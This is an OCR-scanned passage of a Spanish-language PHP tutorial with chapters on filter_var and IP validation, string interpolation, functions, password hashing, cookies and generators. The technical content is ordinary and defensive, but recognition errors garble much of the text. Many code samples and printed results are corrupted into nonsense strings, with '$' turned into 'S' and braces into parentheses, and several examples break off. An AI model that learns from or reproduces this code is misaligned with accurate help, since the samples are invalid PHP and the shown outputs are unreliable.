var_dump 


FILTER_FLAG. . 


Er 
EL 
Er 
Bras 
(Er 
var_dump (filt 
Er 
(EEñS 
(E 
ERña 
ENS 


var_dump (fil 


var_dump (fil 


FILTER_FLAG_ALLOW_SCIENTIFIC)); 


Resultados: 


9 nt ti mm ta li tm A 
da 
RH 
p 
5) 
“Q 
2 (e Es ( de e 6 E E a E (1 (A 


) 


100001" 

ou 

10000" 
100001" 
OO 

10000" 
10000000" 
100000001" 
MiSasile005% 


Validar direcciones IP 


Valida un valor es una dirección IP válida 


var_dump (filter_var('185.158.24.24', FILTER_VALIDATE_1P)); 
var_dump (filter_var('2001:0db8:0a0b:12f0:0000:0000:0000:0001', FILTER_VALIDATE_1P)); 
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ilter_var(1, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); 
ilter_ var(1.0, FILTER_SANITIZE NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); 
ilter var(1.0000, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); 
ilter var(1.00001, FILTER_SANITIZE NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); 
ter_var('1', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); 
ter_var('1.0', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); 
ter_var('1.0000', FILTER_SANITIZE NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); 
ter_var('1.00001', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); 
ilter var('1,000', FILTER_SANITIZE NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); 
ilter var('1,000.0', FILTER_SANITIZE_ NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); 
ilter_var('1,000.0000', FILTER_SANITIZE_NUMBER_FLOAT, 
ALLOW_SCIENTIFIC)); 
ter var("1,000,.00001", FILTER SANITIZE NUMBER _FLOAT, 
FILTER_FLAG_ALLOW_SCIENTIFIC)); 
ter_var('1.8281le-009', FILTER_SANITIZE_NUMBER_EFLOAT, 


2el 


vero celu (Ea lltee vaz (192. 168,0, 11, 121 


1] 


a 


vere clio (rales var (127.00, 10, 


ER_VALIDATI 


ER_VALIDATE 
2 02))4 


12) ) 5 


, 


Resultados: 
stecing (13) “is. 198, 24.240 
Selina (59) "20013 0c98 3 02013 1280500003 00/0102 (00003 0 
steclins (Li) “192.168.010 
sesins (9) “127.,0,0,1% 


Valide una dirección IP válida de IPv4: 


vez cum (Filese ver (LES. 198.24, 2aN 


var_dump (filter_var('2001:0db8:0a0b:12f0:0000:0000:0000:0001', 


FILTER_FLAG_1PV4)); 


vor ciao (ralese vaz (Lgz Los. 0,10, 191 


171 


1] 


ER_VALIDATE 


_IP, 


y] 


EL 


,yT 


ER_F 


AG_IPV4)); 


7 7L 


ER_VALIDATE 


vez cua (Filese vez (0127.00, 


FILTI 


ER_VALIDATE 


_IP, 


EE 


al 


Resultados: 
scring (13) “les. l98, 24.240 
bool (false) 
sean (AL) “192,168.10, 14 
sexta (9) W.27,0.,0,1% 


Valide una dirección IP válida de IPv6: 


var_dump (filter_var('185.158.24.24', 


var_dump (filter_var('2001:0db8:0a0b:12f0:0000:0000:0000:0001', 


FILTER_FLAG_IPV6)); 
ver clio (lle se vas (192.168. 0,1, 121 


JE 


_1P, 


PE 


1] 


ER_VALIDATE 


_IP, 


EL 


TE 


RE 


JT 


ER_VALIDATE 


ER_FLAG_IPV4)); 
ER_FLAG_IPV4)); 


AG_IPV6));5; 


Bal 


y] 


ER_VALIDATE 


ver cla (Edlteee vaz (127,00, 1%, IPIL1 


ER_VALIDATE 


_IP, 


PE 


yT 


ME 


Resultados: 


bool (false) 
Sezilag (39) 

bool (false) 
bool (false) 


Validar una dirección IP no está en un rango privado: 


ELLT 


, 


"2001:0db08:0a0b:12f0:0000:0000:0000:0001" 


JT 


ER_VALIDATE 


ER_FLAG_IPV6)); 
ER_FLAG_IPV6)); 


var_dump (filter_var('185.158.24.24', FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RA 
var_dump (filter_var('2001:0db8:0a0b:12f0:0000:0000:0000:0001', FILTER_VALIDATE_I 
FILTER_FLAG_NO_PRIV_RANGE)); 

var_dump (filter_var('192.168.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE 
var_dump (filter_var('127.0.0.1', FILTER _VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)) 


Resultados: 


Suela (LS) “iso. 198.24 240 


string(39) 


https://riptutorial.com/es/nome 


"2001:0db8:0a0b:12f0:0000:0000:0000:0001" 


JE 


I 


Pp, 


Pp, 


228 


bool (false) 
sezing (9) “127.,0.,0, 1% 


Validar una dirección IP no está en un rango reservado: 


var_dump (filter_var('2001:0db8:0a0b:12f£f0:0000:0000:0000:0001', FILTER_VALIDATE_IP, 
FILTER_FLAG_NO_RES_RANGE)); 
var_dump (filter_var('192.168.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_NO_RES_RANGE)); 
var_dump (filter_var('127.0.0.1', FILTER _VALIDATE_IP, FILTER_FLAG_NO_RES_RANGE)); 


var_dump (filter_var('185.158.24.24', FILTER_VALIDATE_IP, FILTER_FLAG_NO_RES_RANGE)); 


Resultados: 


Seca (1S) "ls, LS, 24, 24 
bool (false) 

Seca (11) “192.168.010 
bool (false) 


Lea Filtros y funciones de filtro en línea: https://riptutorial.com/es/php/topic/1679/filtros-y- 
funciones-de-filtro 
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Capítulo 46: Formato de cadena 


Examples 


Extracción / sustitución de subcadenas. 


Los caracteres individuales se pueden extraer mediante la sintaxis de matriz (corchete cuadrado) 
y la sintaxis de corchete. Estas dos sintaxis solo devolverán un solo carácter de la cadena. Si se 
necesita más de un carácter, se requerirá una función, es decir, substr 


Las cadenas, como todo en PHP, están o -indexadas. 


sos = Miesililo mola" 


$foo[61; // returns 'w' 
$foo(6); // also returns 'w' 


susi (Bio, O, 1)p 4 also mervisas Uy 
susi (Sito) O, 2)p // eeviaas Uno" 


Las cadenas también se pueden cambiar de un carácter a la vez con la misma sintaxis de 
corchete y corsé. Reemplazar más de un carácter requiere una función, es decir, substr_replace 
Sfoo = 'Hello world'; 


Sfoo[6] = 'W'; // results in $foo = 'Hello World" 
Sfoolf6) = 'W'; // also results in $foo = 'Hello World' 


substr_replace ($foo, 'W', 6, 1); // also results in $foo = 'Hello World" 


Sblosiejs casos (Siro, Wait, 0, 2) Y estes ba "illo Wndseilco! 
// note that the replacement string need not be the same length as the substring replaced 


Interpolación de cuerdas 


También puede utilizar la interpolación para interpolar ( insertar ) una variable dentro de una 
cadena. La interpolación funciona solo en cadenas entre comillas y la sintaxis heredoc. 


Saco = "Yael" +— 


// $name will be replaced with ' Joel” 


echo "<p>Hello fname, Nice to s vo. <A 
+ 9 
> "<p>Hello Joel, Nice to s you.</p>" 


// Single Quotes: outputs $name as the raw text (without interpreting 1t) 


echo 'Hello $name, Nice to s you.'; + Careful with this notation 


> Hello Sname, Nice tos NOU 


El formato de sintaxis compleja (rizado) proporciona otra opción que requiere que ajuste su 
variable entre llaves ¡) . Esto puede ser útil cuando incrusta variables dentro del contenido textual 
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y ayuda a prevenir una posible ambigúedad entre el contenido textual y las variables. 


Saca = “Yael 


// Example using the curly brace syntax for the variable S$name 
echo "<p>We need more ($name)js to help us!</p>"; 


> "<p>We need more Joels to help us!</p>" 


// This line will throw an error (as '$names' is not defined) 
echo "<p>We need more $names to help us!</p>"; 


$> "Notice: Undefined variable: names" 


La sintaxis () solo interpola las variables que comienzan con s en una cadena. La sintaxis (; no 
evalúa expresiones PHP arbitrarias. 


// Example tying to interpolate a PHP expression 
no 
a A 


// Example using a constant 

define ("HELLO_WORLD", "Hello World!!"); 
echo "My constant is (HELLO _WORLD)"; 

$> "My constant is (HELLO_WORLD)]" 


// Example using a function 

function say_hello() ( 
return "Hello!"; 

y; 

echo "I say: (say_hello())"; 

$> "I say: (say_hello())" 


Sin embargo, la sintaxis ¿y evalúa el acceso a la matriz, el acceso a la propiedad y las llamadas a 
funciones / métodos en variables, elementos de la matriz o propiedades: 


// Example accessing a value from an array — multidimensional access is allowed 
Scompanions = [0 => ['name' => 'Amy Pond'], 1 => ['name' => 'Dave Random']]; 
echo "The best companion is: (S$companions[0]['name'])"; 

> "The best companion is: Amy Pond" 


// Example of calling a method on an instantiated object 


class Person ( 
function say_hello() ( 
return "Hello!"; 


Smax = new Person(); 


echo "Max says: ($max->say_hello())"; 
> "Max says: Hello!" 


// Example of invoking a Closur the parameter list allows for custom expressions 


Sgreet = function($num) ( 
return "A $num greetings!"; 
y; 
echo "Erom us all: (S$greet (10 ** 3)"; 
> "From us all: A 1000 greetings!" 
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Observe que el signo de s dólar puede aparecer después de la llave de apertura ¿ como en los 
ejemplos anteriores, o, como en Perl o Shell Script, puede aparecer delante de él: 


Sname = 'Joel'; 


// Example using the curly brace syntax with dollar sign before the opening curly brace 
echo "<p>We need more $(íname)js to help us!</p>"; 
> "<p>We need more Joels to help us!</p>" 


La complex (curly) syntax NO Se llama como tal porque es compleja, sino más bien 
porque permite el uso de ' expresiones complejas '. Leer más sobre complex (curly) 


syntax 


Lea Formato de cadena en línea: https://riptutorial.com/es/php/topic/6696/formato-de-cadena 
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Capítulo 47: Funciones 


Sintaxis 


* function func_name ($ parametersNamel1, $ parametersName2) (code_to_run (); ] 

* function func_name ($ optionalParameter = default_value) (code_to_ run ();) 

* function func_name (type_name $ parametersName) (code_to_ run (); ) 

* function € returns_by reference () (code_to_run (); ) 

* function func_name (8 $ referenceParameter) (code_to_run ();) 

* function func_name (... $ variadicParameters) (code_to_ run ();) // PHP 5.6+ 

* function func_name (type_name 4 ... $ varRefParams) (code _to_ run ();) // PHP 5.6+ 
* function func_name (): return_type (code_To_ run (); ) // PHP 7.0+ 


Examples 


Uso básico de la función 
Una función básica se define y ejecuta así: 


function hello ($name) 
( 
print "Hello $name"; 


) 
hello("Alice"); 
Parámetros opcionales 
Las funciones pueden tener parámetros opcionales, por ejemplo: 


function hello($name, $style = 'Formal') 
( 
switch ($style) ( 


case 'Formal': 


prin 
brea 


t "Good Day $name"; 


K;7 


Case 'Informal': 


print 


brea 


"Hi $name"; 


K;7 


Case 'Australian': 


print "G'day $name"; 
break; 

default: 
print "Hello $name"; 
break; 


) 


hello('Alice'); 


// Good Day Alice 
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hello('Alice', 'Australian'); 
// G'day Alice 


Pasando Argumentos por Referencia 


Los argumentos de la función se pueden pasar "Por referencia", lo que permite a la función 
modificar la variable utilizada fuera de la función: 


function pluralize (£$word) 


( 


tó (suse (Suorzel, =1) == y) ( 
Sword = substr ($word, 0, -1) . 'ies'; 
) else ( 
Stone .= "sup 
) 
) 
Sword = 'Bannana'; 


pluralize ($word) ; 


print Sword; 
// Bannanas 


Los argumentos de objeto siempre se pasan por referencia: 


function addOneDay ($date) 
1 

Sdate->modify('+1 day'); 
) 


$date = new DateTime ('2014-02-28'); 
addOneDay ($date) ; 


PERE SOste=>tozmare (1 ense") $ 
EZONE 0 0 


Para evitar la transferencia implícita de un objeto por referencia, debe cone el objeto. 


Pasar por referencia también se puede utilizar como una forma alternativa de devolver 
parámetros. Por ejemplo, la función socket_getpeernam 


bool socket_getpeername ( resource $socket , string ¿$address [, int €S$port ] ) 


Este método en realidad apunta a devolver la dirección y el puerto del par, pero como hay dos 
valores para devolver, elige usar parámetros de referencia en su lugar. Se puede llamar así: 


if (!socket_getpeername ($socket, Saddress, $port)) ( 
throw new RuntimeException(socket_last_error ()); 


) 


echo "Peer: S$address:$portin"; 


Las variables sadaress Y $port NO Necesitan definirse antes. Lo harán: 
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1. ser definido como nu11 primero, 

2. luego pasa a la función con el valor nu11 predefinido 

3. luego modificado en la función 

4. terminan definidos como la dirección y el puerto en el contexto de llamada. 


Listas de argumentos de longitud variable 


5.6 


PHP 5.6 introdujo listas de argumentos de longitud variable (también conocidos como varargs, 
argumentos variadic), usando el token ... antes del nombre del argumento para indicar que el 
parámetro es variadic, es decir, es una matriz que incluye todos los parámetros suministrados 
desde ese en adelante. 


function variadie func (SnonVariadile, ...$variadic) Í 
echo json_encode ($variadic); 


) 


weralerolle Awumell,) 2, Sy Le Y soria (2, 3/41 
Los nombres de los tipos se pueden agregar delante de ... 


EuUncloa Eon ((3cvz o... toerzs) 


El operador « reference se puede agregar antes de ... , pero después del nombre de tipo (si 
corresponde). Considera este ejemplo: 


class Foo() 

Funcion alos Ls. LEJOS) A 
5 = 105 
foreach($a as 8$foo)1í // note the £ 

Sfoo = $i++; 

) 

) 

Sa = new Foo; 

Sc = new Foo; 

Sb =8 $e; 

a(Sa, $b); 

ver duo (Sas SS, SE) A 


Salida: 


int (0) 
alsalie (41) 
int (1) 


Por otro lado, una matriz (O traversabl1e ) de argumentos se puede desempaquetar para pasar a 
una función en forma de una lista de argumentos: 


var_dump (...hash_algos()); 
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Salida: 


string(S) maz 
string(3) "md4" 
Sesa (Ss) "cla 


Compare con este fragmento sin usar ... : 


var_dump (hash_algos()); 


Salida: 


array (46) ( 
[0]=> 
sucia (3) “maza 
=> 
Stclag (3) "mam 


Por lo tanto, las funciones de redireccionamiento para funciones variad ahora se pueden hacer 
fácilmente, por ejemplo: 


public function formatQuery ($query, ...$args)Í 
return sprintf ($query, ...array_map([$mysqli, "real_escape_string"], $args)); 


) 


Además de las matrices, también se pueden usar los Ttraversable , COMO Iterator (especialmente 
muchas de sus subclases de SPL). Por ejemplo: 


Siterator = new Limitlterator (new Arraylterator([0, 1, 2, 3, 4, 5, 61), 2, 3); 
caro lla llas (aci (WesD, SE) Y Omnia 020304 


Si el iterador ¡tera infinitamente, por ejemplo: 


Siterator = new Infinitelterator (new Arraylterator([0, 1, 2, 3, 4]1)); 
var dunp (SES ao) 


Diferentes versiones de PHP se comportan de manera diferente: 


* Desde PHP 7.0.0 hasta PHP 7.1.0 (beta 1): 
o Se producirá una falla de segmentación 
El proceso de PHP saldrá con el código 139. 
« EnPHP5.6: 
o Se mostrará un error fatal de agotamiento de la memoria ("Tamaño de memoria 
permitido de% d bytes agotados”). 
El proceso de PHP saldrá con el código 255 


Nota: HHVM (v3.10 - v3.12) no admite el desempaquetado de traversab1e s. En este 
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intento se mostrará un mensaje de advertencia "Sólo se pueden desempaquetar los 
contenedores". 


Alcance de la función 
Las variables dentro de las funciones están dentro de un ámbito local como este. 


$number = 5 

function foo()( 
$number = 10 
return $number 


) 


foo(); //Wi11 print 10 because text defined inside function is a local variable 


Lea Funciones en línea: https://riptutorial.com/es/php/topic/4551/funciones 
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Capítulo 48: Funciones de hash de 
contraseña 


Introducción 


A medida que los servicios web más seguros evitan el almacenamiento de contraseñas en 
formato de texto plano, los lenguajes como PHP proporcionan varias funciones hash (no 
descifrables) para admitir el estándar de la industria más seguro. Este tema proporciona 
documentación para el hashing adecuado con PHP. 


Sintaxis 
* string password_hash ( string $password , integer Salgo [, array Soptions ] ) 
* boolean password_verify ( string $password , string S$hash ) 
* boolean password_needs_rehash ( string $hash , integer Salgo [, array S$options ] ) 
* array password_get_info ( string S$hash ) 
Observaciones 


Antes de PHP 5.5, puede usar el paquete de compatibilidad para proporcionar las funciones 
password_* . Se recomienda encarecidamente que utilice el paquete de compatibilidad si puede 
hacerlo. 


Con o sin el paquete de compatibilidad, la funcionalidad correcta de Bcrypt a través de crypt í) 
basa en PHP 5.3.7+. De lo contrario, debe restringir las contraseñas a conjuntos de caracteres 
solo ASCII. 


Nota: si usa PHP 5.5 o una versión inferior, está usando una versión no compatible de 
PHP que ya no recibe actualizaciones de seguridad. Actualice tan pronto como sea 
posible, puede actualizar sus hashes de contraseña posteriormente. 


Selección de algoritmo 


Algoritmos seguros 
+ bcrypt es su mejor opción siempre que use el estiramiento de teclas para aumentar el 
tiempo de cálculo del hash, ya que hace que los atagues de fuerza bruta sean 
extremadamente lentos . 
* argon2 es otra opción que estará disponible en PHP 7.2. 


Algoritmos inseguros 


Los siguientes algoritmos de hashing son inseguros o no aptos para el propósito y, por lo tanto 
, ho deben utilizarse . Nunca fueron adecuados para el hashing de contraseñas, ya que están 
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diseñados para resúmenes rápidos en lugar de hashes de contraseñas lentas y difíciles de 
aplicar. 


Si utiliza alguno de ellos , incluso las sales, debe cambiar a uno de los algoritmos de seguridad 
recomendados lo antes posible . 


Algoritmos considerados inseguros: 


+ MDA - ataque de colisión encontrado en 1995 
* MD5 - ataque de colisión encontrado en 2005 
* SHA-1 - ataque de colisión demostrado en 2015 


Algunos algoritmos pueden usarse de manera segura como algoritmo de resumen de mensajes 
para probar la autenticidad, pero nunca como algoritmo de hashing de contraseña : 


+ SHA-2 
* SHA-3 


Tenga en cuenta que los hashes fuertes como SHA256 y SHA512 son ininterrumpidos y robustos, 
sin embargo, en general es más seguro usar las funciones hash bcrypt o argon2 , ya que los 
ataques de fuerza bruta contra estos algoritmos son mucho más difíciles para las computadoras 
clásicas. 


Examples 


Determine si un hash de contraseña existente puede actualizarse a un 
algoritmo más fuerte 


Si está utilizando el método passworD_peraunT para permitir que el sistema elija el mejor algoritmo 
para cifrar sus contraseñas, ya que la fuerza predeterminada aumenta, es posible que desee 
volver a borrar las contraseñas antiguas a medida que los usuarios inician sesión 


<?php 
// first determine 1f a supplied password is valid 
if (password _verify/($plaintextPassword, ShashedPassword)) ( 


// now determine if th xisting hash was created with an algorithm that is 
// no longer the default 
if (password_needs_rehash($hashedPassword, PASSWORD_DEFAULT)) ( 


// create a new hash with the new default 
SnewHashedPassword = password_hash ($plaintextPassword, PASSWORD_DEFAULT); 


// and then save it to your data store 
//Sdb=>update(...); 


Si las funciones password_ * no están disponibles en su sistema (y no puede usar el paquete de 
compatibilidad vinculado en las observaciones a continuación), puede determinar el algoritmo y 
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usarlo para crear el hash original en un método similar al siguiente: 


<?php 

1f (substr (S$hashedPassword, 0, 4) == '$2y$' £8£ strlen(S$hashedPassword) == 60) ( 
echo 'Algorithm is Bcrypt'; 
// the "cost" determines how strong this version of Bcrypt is 
preg_match('/$2yX$ (1d+)1$/', ShashedPassword, $matches); 
Scost = $matches[1]; 
celo 'meryae cose ls '.Secost, 


Creando un hash de contraseña 


Cree hashes de contraseñas utilizando password has () para usar el hash estándar o la derivación 
de claves más recomendables de la industria. Al momento de escribir, el estándar es bcrypt , lo 
que significa que passworb_DerauLT Contiene el mismo valor que passworD_BCRYPT . 


Soptions = [ 
a 


1; 


ShashedPassword = password_hash ($plaintextPassword, PASSWORD_DEFAULT, Soptions); 


El tercer parámetro no es obligatorio . 


El valor del 'cos:' debe elegirse en función del hardware de su servidor de producción. 
Incrementarlo hará que la contraseña sea más costosa de generar. Cuanto más costoso es 
generar, más tiempo tomará cualquiera que intente descifrarlo para generarlo también. Lo ideal es 
que el costo sea lo más alto posible, pero en la práctica debe establecerse para que no disminuya 
la velocidad demasiado. En algún lugar entre 0.1 y 0.4 segundos estaría bien. Utilice el valor 
predeterminado si tiene dudas. 


d.) 


En PHP inferior a 5.5.0, las funciones passwora_* no están disponibles. Debe usar el paquete de 
compatibilidad para sustituir esas funciones. Tenga en cuenta que el paquete de compatibilidad 
requiere PHP 5.3.7 o superior o una versión que s2y solución de s2y fixport (como la que 
proporciona RedHat). 


Si no puede usarlos, puede implementar el hashing de contraseñas con «+yp+ (, Como 
password_hash () Se implementa como un envoltorio alrededor de la función cryp+ () , no necesita 
perder ninguna funcionalidad. 


// this is a simple implementation of a bcrypt hash otherwise compatible 

// with '"password_hash()” 

// not guaranteed to maintain the same cryptographic strength of the full 'password_hash()” 
// implementation 


// 1£ "CRYPT_BLOWFISH' is 1, that means bcrypt (which uses blowfish) is available 
// on your system 
if (CRYPT_BLOWFISH == 1) ( 
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$Ssalt = mcrypt_create_iv(16, MCRYPT_DEV_URANDOM) ; 


Ssalt = base64_encode ($salt); 

// crypt uses a modified base64 variant 

$source = 'ABCDEFGHIJKLMNOPORSTUVWXYZabcdefghijklmnopgrstuvwxyz0123456789+/'; 

$dest = './ABCDEFGHIJKLMNOPORSTUVWXYZabcdefghijklmnoparstuvwxyz0123456789'; 

Ssaule = sezer (meri (Seal, "="), Secuzres, des) 

Sscule = sulosiu (Sas, 0, 22) 

// *crypt()” determines which hashing algorithm to use by the form of the salt string 


// that is passed in 
ShashedPassword = crypt ($plaintextPassword, '$2y$10$'.$salt.'$'); 


Sal para el hash de contraseña 


A pesar de la fiabilidad del algoritmo de cripta, todavía existe una vulnerabilidad frente a las tablas 
de arco iris . Esa es la razón, por eso se recomienda usar sal . 


Un salt es algo que se agrega a la contraseña antes de hacer hashing para hacer que la cadena 
fuente sea única. Dadas dos contraseñas idénticas, los hashes resultantes también serán únicos, 
porque sus sales son únicas. 


Una sal aleatoria es una de las piezas más importantes de la seguridad de su contraseña. Esto 
significa que incluso con una tabla de búsqueda de hashes de contraseña conocida, un atacante 
no puede hacer coincidir el hash de contraseña del usuario con los hashes de contraseña de la 
base de datos, ya que se ha utilizado un salt aleatorio. Debes usar sales siempre aleatorias y 
criptográficamente seguras. Lee mas 


CON password hash () berypt algorithm, la sal de texto sin formato se almacena junto con el hash 
resultante, lo que significa que el hash se puede transferir a través de diferentes sistemas y 
plataformas y aún puede compararse con la contraseña original. 


7.0 


Incluso cuando esto no se recomienda, puede usar la opción de sa1+ para definir su propia sal 
aleatoria. 


Soptions = [ 
'salt' => $salt, //see example below 


1; 


Importante Si omite esta opción, password_hash () generará un valor aleatorio de sal para cada 
hash de contraseña. Este es el modo de operación previsto. 


7.0 


La opción salt ha sido desaprobada a partir de PHP 7.0.0. Ahora se prefiere usar simplemente la 
sal que se genera de forma predeterminada. 


Verificando una contraseña contra un hash 


password_verify() 
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es la función incorporada provista (a partir de PHP 5.5) para verificar la validez de una contraseña 
contra un hash conocido. 


<?php 

if (password _verify/($plaintextPassword, ShashedPassword)) ( 
echo 'Valid Password'; 

) 

else ( 
echo 'Invalid Password.'; 


Todos los algoritmos de hash admitidos almacenan información que identifica qué hash se usó en 
el hash mismo, por lo que no es necesario indicar con qué algoritmo está utilizando para codificar 
la contraseña de texto simple. 


Si las funciones password_ * no están disponibles en su sistema (y no puede usar el paquete de 
compatibilidad vinculado en las observaciones a continuación), puede implementar la verificación 
de contraseña con la función crypt () . Tenga en cuenta que deben tomarse precauciones 
específicas para evitar los ataques de tiempo . 


<?php 
// not guaranteed to maintain the same cryptographic strength of the full 'password_hash()” 
// implementation 
if (CRYPT_BLOWFISH == 1) ( 
// *crypt()' discards all characters beyond the salt length, so we can pass in 
// the full hashed password 
ShashedCheck = crypt ($plaintextPassword, $hashedPassword); 


// this a basic constant-time comparison based on the full implementation used 
// in '"password_hash()” 
Sstatcus = 0 
for ($i=0; Si<strlen ($hashedCheck); Si++) ( 
Sstatus |= (ord($hashedCheck[$1]) * ord(S$hashedPassword[$i])); 


dE (SStamvs === 0) 4 
echo 'Valid Password'; 
) 
else ( 
echo 'Invalid Password'; 


Lea Funciones de hash de contraseña en línea: https://riptutorial.com/es/php/topic/530/funciones- 
de-hash-de-contrasena 
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Capítulo 49: Galletas 


Introducción 


Una cookie HTTP es una pequeña porción de datos enviados desde un sitio web y almacenados 
en la computadora del usuario por el navegador web del usuario mientras el usuario está 
navegando. 


Sintaxis 
* bool setcookie( string $name [, string $value = "" [, int $expire = 0 [, string $path = "" 
[, string $domain = "" [, bool $secure = false [, bool $httponly = false ]]]1]1]] ) 
Parámetros 


El nombre de la cookie. Esta es también la clave que puede utilizar para 
nombre recuperar el valor de s_cooxtz super global. Este es el único parámetro 
requerido. 


El valor para almacenar en la cookie. Esta información es accesible para el 


valor ; : : 
navegador, así que no almacene nada sensible aquí. 


Una marca de tiempo de Unix que representa cuándo debe expirar la cookie. Si 
se establece en cero, la cookie caducará al final de la sesión. Si se establece 
en un número menor que la marca de tiempo actual de Unix, la cookie 
caducará inmediatamente. 


expirar 


El alcance de la cookie. Si se establece en 7 la cookie estará disponible dentro 
de todo el dominio. Si se establece en /some-patn/ , la cookie solo estará 
disponible en esa ruta y los descendientes de esa ruta. El valor predeterminado 
es la ruta actual del archivo en el que se establece la cookie. 


camino 


El dominio o subdominio en el que está disponible la cookie. Si se establece en 
el dominio pelado stackoverf1ow.com , la cookie estará disponible para ese 

dominio dominio y todos los subdominios. Si se establece en un subdominio 
meta.stackoverflow.com , la COOkie estará disponible solo en ese subdominio y en 
todos los subdominios. 


Cuando se establece en true la cookie solo se establecerá si existe una 
conexión segura HTTPS entre el cliente y el servidor. 


seguro 


Especifica que la cookie solo debe estar disponible a través del protocolo HTTP 
httponly / S y no debe estar disponible para lenguajes de script del lado del cliente como 
JavaScript. Solo disponible en PHP 5.2 o posterior. 
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Observaciones 


Vale la pena señalar que la mera invocación de la función setcooxie no solo pone los datos dados 
en la matriz superglobal s_cooxzz . 


Por ejemplo, no tiene sentido hacer: 


seucoolale (uses, "ron, tel) + 2600, Ys 
var_dump (isset ($_COOKIE['user'])); // yields false or the previously set value 


El valor aún no está allí, no hasta la próxima página de carga. La función setcookie simplemente 
dice " con la siguiente conexión http le dice al cliente (navegador) que configure esta cookie ". 
Luego, cuando los encabezados se envían al navegador, contienen este encabezado de cookie. 
Luego, el navegador comprueba si la cookie no ha caducado, y si no, entonces, en la solicitud 
http, envía la cookie al servidor y ahí es cuando PHP la recibe y coloca el contenido en la matriz 
S_COOKIE . 


Examples 


Configuración de una cookie 


Se establece una cookie utilizando la función setcookie () . Dado que las cookies son parte del 
encabezado HTTP, debe configurar las cookies antes de enviar cualquier salida al navegador. 


Ejemplo: 
setcookie("user", "Tom", time() + 86400, "/"); // check syntax for function params 


Descripción: 


+ Crea una cookie con nombre de user 

(Opcional) El valor de la cookie es ton 

(Opcional) La cookie caducará en 1 día (86400 segundos) 

» (Opcional) La cookie está disponible en todo el sitio web / 

(Opcional) La cookie solo se envía a través de HTTPS 

(Opcional) La cookie no es accesible para lenguajes de script como JavaScript 


Solo se puede acceder a una cookie creada o modificada en solicitudes posteriores 
(donde coincida la path y €l domain ) ya que el superglobal $_cooxtE no se rellena con 
los nuevos datos inmediatamente. 


Recuperar una cookie 


Recuperar y dar salida a una cookie con nombre de user 


El valor de una cookie se puede recuperar utilizando la variable global $_cooxtz . ejemplo, si 
tenemos una cookie llamada user , podemos recuperarla de esta manera 
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echo $_COOKIE['user']; 


Modificar una cookie 
El valor de una cookie se puede modificar restableciendo la cookie 


setcookie("user", "John", time() + 86400, "/"); // assuming there is a "user" cookie already 


Las cookies son parte del encabezado HTTP, por setcooxie () que se debe llamar a 
setcookie() antes de enviar cualquier salida al navegador. 


Al modificar una cookie, asegúrese de que la path Y domain parámetros de domain de 
setcookie() coincidan con la cookie existente o se creará una nueva cookie en su 
lugar. 


La parte del valor de la cookie se codificará automáticamente cuando envíe la cookie, 
y cuando se reciba, se descodificará automáticamente y se asignará a una variable 
con el mismo nombre que el nombre de la cookie. 


Comprobando si una cookie está configurada 


Use la función isset () sobre la variable superglobal $_cooxtk para verificar si una cookie está 
configurada. 


Ejemplo: 


// PHP <7.0 
1 (isecest(s coria uesce Id) 1 

// true, cookie is set 

cdas “Wee is UU . $ Cor ma [meses]? 
else ( 

// false, cookie is not set 


echo 'User is not logged in'; 


) 


// PHP 7.0+ 
cemo "Wei ls Y. E COR ma [use] 28 “User ls mee lodge Lap 


Eliminar una cookie 


Para eliminar una cookie, establezca la fecha y hora de caducidad en un tiempo en el pasado. 
Esto activa el mecanismo de eliminación del navegador: 


setcookie('user', '', time() = 3600, '/'); 
Al eliminar una cookie, asegúrese de que la path Y domain parámetros de domain de 


setcookie () Coincidan con la cookie que está intentando eliminar o se creará una 
nueva cookie que caduca de inmediato. 
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También es una buena idea desactivar el valor $_coox1z en caso de que la página actual lo use: 


unset ($_COOKIE['user']); 


Lea Galletas en línea: https://riptutorial.com/es/php/topic/501/galletas 
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Capítulo 50: Generadores 


Examples 


¿Por qué usar un generador? 


Los generadores son útiles cuando necesitas generar una colección grande para iterar más tarde. 
Son una alternativa más simple a la creación de una clase que implementa un ¡terador , que a 
menudo es una exageración. 


Por ejemplo, considere la siguiente función. 


function randomNumbers (int $length) 


( 


Saray = 0 


zo (61 = 0), $1 < Slengidas Sis) 4 
Sarray[] = mt_rand(1, 10); 
) 


return S$array; 


Todo lo que hace esta función es generar una matriz que está llena de números aleatorios. Para 
usarlo, podríamos hacer randomdumbers (10) , lo que nos dará una matriz de 10 números aleatorios. 
¿Y si queremos generar un millón de números aleatorios? randomvumbers (1000000) lo hará por 
nosotros, pero a un costo de memoria. Un millón de enteros almacenados en una matriz utiliza 
aproximadamente 33 megabytes de memoria. 


SstartMemory = memory_qget_usagel(); 


SrandomNumbers = randomNumbers (1000000); 


cho memory_get_usage() SstartMemory, ' bytes'; 


Esto se debe a que un millón de números aleatorios completos se generan y se devuelven a la 
vez, en lugar de uno a la vez. Los generadores son una manera fácil de resolver este problema. 


Reescribiendo números aleatorios () usando un generador 
Nuestra función randomNumbers () puede reescribirse para usar un generador. 


<?php 


function randomNumbers (int $length) 
1 
toz ($1 = 07 Si < Slengida, Sis) 4 
// yield tells the PHP interpreter that this value 
// should be the one used in the current iteration. 
yield mt_rand(1, 10); 
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) 


foreach (randomNumbers(10) as $number) ( 
echo "SnumberAn"; 


Usando un generador, no tenemos que construir una lista completa de números aleatorios para 
regresar de la función, lo que lleva a que se use mucho menos memoria. 


Leyendo un archivo grande con un generador. 


Un caso de uso común para los generadores es leer un archivo del disco e iterar sobre su 
contenido. A continuación se muestra una clase que le permite iterar sobre un archivo CSV. El 
uso de memoria para este script es muy predecible y no fluctuará dependiendo del tamaño del 
